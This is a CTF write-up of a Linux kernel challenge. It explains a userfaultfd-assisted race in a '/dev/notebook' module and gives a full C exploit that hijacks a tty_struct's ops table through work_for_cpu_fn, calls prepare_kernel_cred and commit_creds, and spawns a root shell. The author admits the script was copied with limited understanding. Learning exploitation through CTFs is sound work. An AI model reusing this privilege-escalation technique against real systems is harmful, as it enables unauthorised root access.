0x00 Prologue
I only have little experience with kernel pwn. During the Intro_to_OS
course, I read a lot of kernel code of xv6
and learned the kernel systematically. Although xv6
is a simple system while the Linux
kernel is much more complex, the knowledge from xv6
learned helps a lot.
This post would not go too deep into the kernel because I am too weak to do that and I got all the solution ideas from CTF-wiki
. You can also download the attachments at this link
0x01 userfaultfd
It’s a common trick used in kernel race condition exploitation. In general, it allows us to pause a thread so that it could be easier to trigger race conditions.
More specifically, we use userfaultfd
to create a handler for a specific page. In exploitation cases, the copy_from_user
may trigger a handler so that we can pause a thread.
I use the module from CTF-Wiki:
void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
Panic("ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
Panic("ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
Panic("pthread_create");
}
void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
if (nready != 1)
{
Panic("Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
Panic("msg err");
}
char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
Panic("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
return NULL;
}
// char *example = mmap(NULL,0x1000,0x6,0x22,-1,0);
// RegisterUserfault(example,userfaultfd_leak_handler);
I don’t know the trick well so I only write down the gist of exp and you can get a more detailed passage on this link
0x02 Analysis
The vulnerability is about synchronization. Although there are some synchronization mechanisms, there is only read_lock
in add
and edit
so that the size could be rewritten for free.
- Assume there are two steps in
add
(A:getsize & B:allocate) and two steps inedit
(A:getsize & B:reallocate). - There are 6 different conditions could happen if these steps happent in different order
- (1A1B2A2B),(1A2A1B2B),(1A2A2B1B),(reversed ones…)
There is a simple UAF if the steps happen in the following order:
- edit(0) -> A
- add(x) ->A & B
- edit(0) -> B
0x03 Exploit
I didn’t pay much time to review the details in the exploit script and only reproduce it by imitating so the explanation would be very limit.
- The main idea is to control a tty fd and modify the ops table.
- We can use
work_for_cpu_fn
to run arbitrary function with our parameter - There is a little limit about
write
. The element would be changed before triggeringwork_forcpu_fn
- In chaitin’s script, they hijack ioctl and use
ioctl(233,233)
to correctly triggerwork_forcpu_fn
without modifying our parameters.
//gcc ./fs/exp.c -masm=intel --static -o ./fs/exp
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <stdint.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <poll.h>
#include <sys/mman.h>
#define PAGE_SIZE 0x1000
#define TTYMAGIC 0x100005401
void * hit ;
uint64_t u64(uint8_t *buf)
{
uint64_t res = 0;
for(int i =0 ; i < 8;i++)
{
res = res<<8;
res+=(unsigned int)buf[7-i];
}
return res;
}
void Panic(char *s)
{
printf("[!] Panic:");
puts(s);
exit(1);
}
typedef struct{
size_t idx;
size_t size;
char * buf;
}X;
int fp = 0 ;
void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
Panic("ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
Panic("ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
Panic("pthread_create");
}
void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
if (nready != 1)
{
Panic("Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
Panic("msg err");
}
char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
Panic("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
return NULL;
}
void add(size_t idx,size_t size,size_t name)
{
X n132;
n132.idx = idx;
n132.buf = name;
n132.size = size;
ioctl(fp,0x100,&n132);
}
void edit(size_t idx,size_t size,size_t name){
X n132;
n132.idx = idx;
n132.buf = name;
n132.size = size;
ioctl(fp,0x300,&n132);
}
void gift(size_t name){
X n132;
n132.idx = 1;
n132.buf = name;
n132.size = 1;
ioctl(fp,0x64,&n132);
}
void add_thread(size_t idx)
{
add(idx,0x60,hit);
}
void edit_thread(size_t idx)
{
edit(idx,0,hit);
}
int main()
{
char buf[0x1000]={0};
hit = mmap(NULL,0x1000,0x6,0x22,-1,0);
RegisterUserfault(hit,userfaultfd_leak_handler);
fp = open("/dev/notebook",2);
if(fp<0)
Panic("OPEN");
add(0,0x60,"n132");
add(1,0x60,"n132");
edit(0,0x2e0,"n132");
edit(1,0x500,"n132");
pthread_t add_t,edit_t;
pthread_create(&add_t,NULL,edit_thread,0);
sleep(0.5);
pthread_create(&edit_t,NULL,add_thread,0);
sleep(0.5);
int mx = -1;
for(int i =0;i<0x20;i++)
{
mx = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if(mx<0)
Panic("PTMX");
read(fp,buf,0);
if(*(size_t *)buf == TTYMAGIC)
break;//UAF
}
if(*(size_t *)buf != TTYMAGIC)
Panic("Fail to UAF");
char gift_buf[0x100];
gift(gift_buf);
size_t note_addr = u64(gift_buf+0x10);
read(fp,buf,0);
size_t leak = u64(buf+0x18);
// Relocate Functions
size_t work_for_cpu = leak+(0xffffffff8109eb90-0xffffffff81e8e440);
size_t commit_cred = leak+(0xffffffff810a9b40-0xffffffff81e8e440);
size_t prepare_cred = leak+(0xffffffff810a9ef0-0xffffffff81e8e440);
size_t * fake_tty[0x100] = {0};
size_t * vtable[0x100] = {0};
read(fp,( char * )fake_tty,0);
fake_tty[3] = note_addr;
fake_tty[4] = prepare_cred;
fake_tty[5] = 0;
// Modify the Vtable of TTY fd
write(fp,( char * )fake_tty,0);
vtable[12] = work_for_cpu;
write(fp,vtable,1);
//
printf("[+] Prepare a cred\n");
ioctl(mx,233,233);//TBD
read(fp,( char * )fake_tty,0);
size_t cred = u64(&fake_tty[6]);
// printf("%p\n",cred);
read(fp,( char * )fake_tty,0);
fake_tty[4] = commit_cred;
fake_tty[5] = cred;
write(fp,( char * )fake_tty,0);
puts("[+] Commit the cred");
ioctl(mx,233,233);
read(fp,( char * )fake_tty,0);
if(0!=u64(&fake_tty[6]))
Panic("Fail to commit the cred");
puts("[+] Spawning a root shell...");
puts("[!] Hi Root,");
system("/bin/sh");
}